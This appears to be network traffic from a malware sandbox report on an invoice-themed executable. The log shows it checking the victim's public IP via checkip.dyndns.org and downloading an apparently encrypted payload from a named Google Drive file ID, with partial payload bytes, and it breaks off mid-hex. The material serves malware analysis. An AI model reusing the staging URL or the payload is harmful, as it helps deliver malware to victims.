Oct 18, 2024 15:05:07.949105024 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 18, 2024 15:05:07.954602957 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 18, 2024 15:05:08.179124117 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 18, 2024 15:05:08.185681105 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 18, 2024 15:05:08.471262932 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:08 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 18, 2024 15:05:09.776119947 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 18, 2024 15:05:10.058052063 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:09 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49982	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:10.837328911 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 18, 2024 15:05:11.723584890 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:11 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49984	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:12.630386114 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 18, 2024 15:05:14.558490992 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:14 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49986	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:15.596071959 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 18, 2024 15:05:16.489902020 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:16 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49988	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:17.823663950 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 18, 2024 15:05:19.962743998 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:19 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49990	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:20.974062920 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 18, 2024 15:05:21.974281073 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:21 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49992	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:22.904575109 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 18, 2024 15:05:24.015551090 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:23 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49994	132.226.8.169	80	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:05:25.430449009 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 18, 2024 15:05:26.748511076 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49927	142.250.185.206	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:59 UTC	208	OUT	GET /uc?export=download&id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-18 13:04:59 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 18 Oct 2024 13:04:59 GMT Location: https://drive.usercontent.google.com/download?id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-DgcwVgcaDsJyGd3Ojvf8dA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49937	216.58.206.65	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:00 UTC	250	OUT	GET /download?id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM&export=download HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-18 13:05:03 UTC	4890	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="xONObPJurI131.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 275008 Last-Modified: Thu, 17 Oct 2024 14:48:56 GMT X-GUploader-UploadID: AHmUCY38MH08VVtpAPFr05JDoDjHaWqOXwiY9m2AXyLxcIsvYPOzsAk0_ZpsFd9qBZeH1YLh8A0 Date: Fri, 18 Oct 2024 13:05:03 GMT Expires: Fri, 18 Oct 2024 13:05:03 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Atsafg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:05:03 UTC	4890	IN	Data Raw: c5 86 81 55 e2 a1 e8 9f 0c f5 f8 92 5f c0 94 48 fc 27 58 0e be d5 cb ce ba da 90 f1 17 05 42 d0 94 5f 98 47 42 90 b7 04 14 c1 b4 f9 a7 25 8c e1 19 62 80 09 ee 2a 20 14 24 5b 3f a1 f9 19 a4 07 4f f7 a7 45 a5 56 b5 e5 51 a7 8c 09 e5 0e 10 07 90 78 e4 91 da 4a f3 cc 26 4a 71 5b 62 d9 dc e1 62 34 87 56 8c 22 0b 2a 01 7b d3 bf ae 8d 66 ac fa 7e a3 6d d3 dc 37 0f df f9 b6 97 5c c4 78 73 6c d6 10 82 4c b9 7d ad f2 d1 d5 4a 9e 70 ec 50 ad 7f 68 d7 37 0d 2c 30 e3 f2 a7 5d dd a7 90 c5 da 0c c6 52 f1 ae 17 80 42 38 a7 17 df d2 84 00 14 10 dc c0 5e db 87 69 49 00 d6 ed f3 e3 66 1a 1e 7a c8 51 2c 51 cb c9 4d d2 01 5d db f7 1f 81 45 82 f4 29 79 fb 93 31 d6 b0 8e 73 2e f2 14 b8 a6 b1 a4 1a 41 67 a4 13 4c 7a ec e4 85 e6 34 f8 41 60 c8 c2 71 ea cb 9d c0 91 6c e9 40 01 cb Data Ascii: U_H'XB_GB%b* $[?OEVQxJ&Jq[bb4V"*{f~m7\xslL}JpPh7,0]RB8^iIfzQ,QM]E)y1s.AgLz4A`ql@
2024-10-18 13:05:03 UTC	4890	IN	Data Raw: c1 0e 45 9d 44 ee 55 9c 14 46 a8 9b b2 8b 9c 69 94 22 14 d7 bd 3e 8f 4b ed 8f 19 d6 8d b2 fc 5d 5c bd ec d3 6c 7d 6e f7 a9 88 bf d7 a2 66 90 69 86 5e 6f 43 0c 2d 12 2d d1 e2 52 27 c8 1f 32 8a 97 5d 61 04 8a 67 89 83 6f de c8 08 1d c3 a5 4d e9 0e 05 27 87 a0 0d 31 bd c4 78 e0 40 5c a5 02 99 b5 0e b5 c8 fe 97 cc 24 ee 9e 55 ed 53 83 89 71 20 9f 32 d9 6b 12 3b 85 fa 0d c1 3b 4a b6 6a b0 1f 7e 8e 43 99 e7 43 e2 4a 12 05 dd 8b c4 31 6c 43 94 45 61 92 b8 a1 0c b9 fc ab db e5 7b 9c 63 0a 82 61 06 f6 98 ed 46 f3 bc 68 9c b9 94 02 0e ac bb 5f 89 19 06 6f d4 e5 47 dd 9b ce 11 c5 01 49 fc 33 b8 9c 87 cb f4 1e fd 45 47 a4 91 0f 5b d8 f4 84 99 d8 2b 90 2e a5 66 9e 3c ca 6c 87 59 99 59 bc 15 da 61 da 93 a4 c7 ca 2e 59 a0 c1 e9 83 43 a9 dc 28 3a 79 da 86 97 76 1f 35 b6 Data Ascii: EDUFi">K]\l}nfi^oC--R'2]agoM'1x@\$USq 2k;;Jj~CCJ1lCEa{caFh_oGI3EG[+.f<lYYa.YC(:yv5
2024-10-18 13:05:03 UTC	26	IN	Data Raw: e5 3e 83 66 c3 27 8a 28 27 70 4b 46 84 7c 83 2e 62 64 cf 7e 3c 37 1a a2 18 f0 Data Ascii: >f'('pKF\|.bd~<7
2024-10-18 13:05:03 UTC	1325	IN	Data Raw: 5c 1a cc ac 7e f3 d1 fe 95 c2 31 f5 b5 30 42 df 9f c9 b7 1b a4 16 00 fd e2 13 0a 2e 2c 8c 6c f1 0b 83 ed 9f ff d6 7b 75 2d f6 de 74 21 11 39 12 bc 0a b9 93 65 d8 9b c9 ad 52 0f 61 9a 69 e3 08 4f d9 ad 2b f0 7b c3 49 71 84 23 bb 1f 80 18 94 cb 8b 3d 5d 7c 3b 9f 4a a5 31 5a 34 90 c9 e2 be ce a1 3f 31 15 b8 95 8c a0 71 12 37 ae 5d 8c 59 53 3e 8e b9 87 e5 d7 2a 2c 9a 0c 76 79 4d e1 5e 99 e8 50 a8 8b 58 f6 82 81 a6 ef d6 c8 06 c9 31 4c ce 88 a4 7d 13 ec 28 d3 04 96 2c 47 e5 2b 13 4d b6 e5 b7 42 b5 24 71 17 00 c3 8c 73 00 28 f9 5f 64 22 25 2f 68 75 47 dd f2 02 3e cd fc 0c fb 39 6f 69 6c a5 ba 5b 58 96 26 b6 4a b7 31 2e 4c 40 ad f4 fe 86 56 88 4c e5 ff 13 78 60 4a 16 d8 97 6d d8 85 9c d0 08 e3 01 20 6c 27 97 1d 38 db 85 32 72 cf 03 85 34 ac 79 c2 f6 e5 84 77 0b Data Ascii: \~10B.,l{u-t!9eRaiO+{Iq#=]\|;J1Z4?1q7]YS>*,vyM^PX1L}(,G+MB$qs(_d"%/huG>9oil[X&J1.L@VLx`Jm l'82r4yw
2024-10-18 13:05:03 UTC	1378	IN	Data Raw: ad 43 53 30 89 dd 56 d1 8e 21 dc 7d e5 fb b5 2f e9 3a 91 a7 81 35 fb ad e9 da 1e 17 6f 6f 66 36 97 22 15 d1 01 65 1d 05 02 a0 28 de 98 fb fd 95 37 5b 0a 88 33 c5 a6 4d 08 58 48 40 2d 44 b4 2a 48 cc 90 3c 2e 99 4f f2 85 fe 4a 6e 07 66 4d 36 bb cf f4 f4 84 f1 ba d0 ee f8 4d 63 4c 8c 63 55 ea 08 2e 6e 57 8a ae 5d b4 f0 82 a0 5c a6 5e 51 e1 a8 09 a0 eb e4 4b 98 2e c4 f5 29 c9 36 ad 33 71 b2 be 98 65 2b 2a 6a 91 5c 0d e3 05 91 21 12 88 1f 71 a6 56 bf f6 76 a7 a4 6b 1a f1 1a d9 28 78 e4 91 a4 7d f3 cc 62 38 e4 59 62 a9 ca c9 e3 34 87 5c 9a dc 0a 39 25 6a f7 93 f2 90 eb ec fa 7e a2 48 c5 ae 0c 00 df 89 14 b2 cb ec cc 73 62 c3 08 a9 54 7f 21 6f d3 19 76 23 4a 2f 80 38 c4 08 ea 82 5f 10 32 4d 82 ef 25 1b a7 b7 d4 aa ae 28 06 12 cd ae e5 e1 62 21 6b 1f ee 9d d7 2a Data Ascii: CS0V!}/:5oof6"e(7[3MXH@-DH<.OJnfM6McLcU.nW]\^QK.)63qe+j\!qVvk(x}b8Yb4\9%j~HsbT!ov#J/8_2M%(b!k*
2024-10-18 13:05:03 UTC	1378	IN	Data Raw: bc d6 9d d6 8a 69 7e 07 c7 eb 9c 32 66 1a 44 2e cf 3e b3 50 c8 c3 94 29 ad 3b db f3 6c 48 45 82 fe 3a 91 85 a0 30 dd b5 ac e6 2c ee 60 ae 8e 24 a4 1a 4b 71 5a 12 e1 48 f9 ed a9 ca 25 f0 56 4f 06 c2 71 e0 8b 9d eb ba 6c f8 48 15 a4 b5 10 4e 05 2d 43 58 7b 45 6d a8 89 c6 08 8a d5 3b f1 f1 61 be b9 c5 8d 64 4d 80 e8 04 a4 14 3c 1b d9 f9 44 a8 67 1d ff b3 59 4f 2e 8f 0d 97 37 c1 f8 07 44 2a 99 b1 db a5 32 86 db 4c ee 8f 64 0d 38 e9 db 10 36 f1 c2 e9 04 26 b9 8d 96 88 4e 37 5b c2 c0 a8 39 51 77 52 19 57 3b 72 37 fe 7d 81 1f b9 84 96 a0 13 26 48 94 06 57 3c f3 3c b5 42 02 5c 5a 72 c9 07 f5 81 14 d4 83 7d b2 e8 ae 87 be 19 76 76 11 1c 13 77 0a 46 cd 1b 45 46 3b 7a e8 fb c0 4a 7e ae d2 03 54 6e 7c 24 5b 8d 1a 7c 83 ed 99 89 96 69 6a 2c 18 c6 b0 3a f0 5a e0 ea 18 Data Ascii: i~2fD.>P);lHE:0,`$KqZH%VOqlHN-CX{Em;adM<DgYO.7D*2Ld86&N7[9QwRW;r7}&HW<<B\Zr}vvwFEF;zJ~Tn\|$[\|ij,:Z
2024-10-18 13:05:03 UTC	1378	IN	Data Raw: c8 ea a9 03 ad c9 f1 4e 83 6d f7 bc be 1d f8 c0 66 ee 50 58 5e 6b 1b 99 2f 53 11 c7 ca d1 27 c8 15 7e 74 96 56 51 3c ae 66 18 82 7b 0e 93 08 1d c2 8d 60 e9 0e 0d 55 9e b0 a0 40 aa 49 60 e0 40 5d 48 15 e7 f1 00 b5 cc d6 93 cc 24 e8 f1 ec ed 53 88 fb 64 35 48 43 f1 30 ca 3a 8f 84 56 c1 3b 4e db 20 b0 1e 6f c0 5f 99 56 47 ca 00 01 05 d7 38 d0 25 50 08 2e 45 6b 93 cb 0a 56 b9 fd ad d8 82 55 cb 73 00 9d 6a bd f6 92 e7 41 e4 d2 a7 c3 b9 90 7d 22 c9 bb 5b f0 a5 01 68 b1 ec fa dd 91 c3 7e 8a 5b 49 f6 56 cd 11 c7 c1 f8 1f ab 3a 35 ad 8e 1c 2f 7a c0 97 b9 7b 58 fa 24 07 49 95 4b 9f 72 82 5a 50 7c a5 61 f1 67 cb 91 04 8d bc 5c 20 a5 c1 47 2f 66 a3 a4 18 32 68 d8 86 78 76 1f 35 14 c3 57 90 47 86 da e9 ca f1 93 81 c2 43 42 33 1e c7 eb 2a 25 06 5e 4c 91 dd 50 c8 d2 45 Data Ascii: NmfPX^k/S'~tVQ<f{`U@I`@]H$Sd5HC0:V;N o_VG8%P.EkVUsjA}"[h~[IV:5/z{X$IKrZP\|ag\ G/f2hxv5WGCB3*%^LPE
2024-10-18 13:05:03 UTC	1378	IN	Data Raw: 33 16 92 a5 46 12 57 9f 52 77 1e 34 64 7d e9 37 c2 e7 ce 5e 55 6f 4b 9c 9f 7c cb 04 19 86 84 5a c8 12 de 84 37 df 53 bb f2 57 eb 1c a9 ef 29 33 07 64 82 bd 9d b0 e4 18 76 ea 56 79 c6 be 86 0a 96 b4 ef 52 6e bc f9 16 dd 03 96 4f 9a cc 8d dd cc 0b 62 8a 9d 4a 3f 85 34 41 de e9 5b 58 12 17 b6 d2 40 0a 0e 9f 7e 42 fa 0f cb 3a 90 8d 75 4c 8f 69 4b dd 3c 60 96 08 ab 38 f3 c4 e6 30 a2 e2 15 70 41 e0 d3 f1 f3 51 07 72 97 5d 19 2e 38 00 e6 f1 45 be f8 b0 35 51 c1 fe e5 1e 36 80 b5 34 3a 1c a7 bc c7 0d 86 84 1e 8f 2f 10 f4 5f 41 94 7d f6 36 9b a5 9f ff dc 1d 3e 39 cb ae 5c 65 62 f9 14 ad 1e 80 46 4d 9c 91 c9 d8 90 d2 e0 91 7a eb 3c 6f 93 97 2b fa 6c af 8a 59 e6 29 d4 d1 5e 18 9e cb 9a 35 4c 8d 3b 9f 44 a9 99 58 34 e4 b0 0c 3f ce ab 35 36 e3 cb 01 bc b1 21 03 50 ae Data Ascii: 3FWRw4d}7^UoK\|Z7SW)3dvVyRnObJ?4A[X@~B:uLiK<`80pAQr].8E5Q64:/_A}6>9\ebFMz<o+lY)^5L;DX4?56!P
2024-10-18 13:05:03 UTC	1378	IN	Data Raw: 2b ce 24 8e c0 c0 14 d7 2a 2c f5 15 7a 79 4e cd 48 98 9a dc e8 8b 52 f7 7b 49 c7 f1 f1 fc 76 6b 1e 48 e2 3c 8c 1f 19 4e 07 16 15 c5 23 47 95 89 36 2a fa dd b7 46 c3 13 56 0d 02 ac ab f2 70 8a d6 52 e4 09 36 2a 7d d2 5b 0b 82 85 31 b3 a3 ae d3 48 1d 08 76 ca 02 4d 70 1d 26 c8 7c a1 cf 2b 2c 8f bc f2 cd a5 5e f6 7d e5 eb e9 0c c8 48 16 ae f2 85 59 85 96 f2 df 1d 00 39 66 45 5f 31 34 c0 9f 22 0c 02 7d bf 3e ac 7d 9a 3e e5 95 74 72 64 87 c5 ac 47 bb 7a 3f f7 78 4b be 24 d7 e9 89 46 79 5f 4f f6 2d db 41 1b 44 e2 5d 46 69 cf 35 f4 84 f1 db 6f e8 d0 4b 4b 17 86 63 7f 85 c3 2e 6e 75 fd bf 5a a3 7d c2 de 63 a7 7b 43 82 a0 6d af 88 46 1e f1 19 70 f5 2d eb dd 88 2b 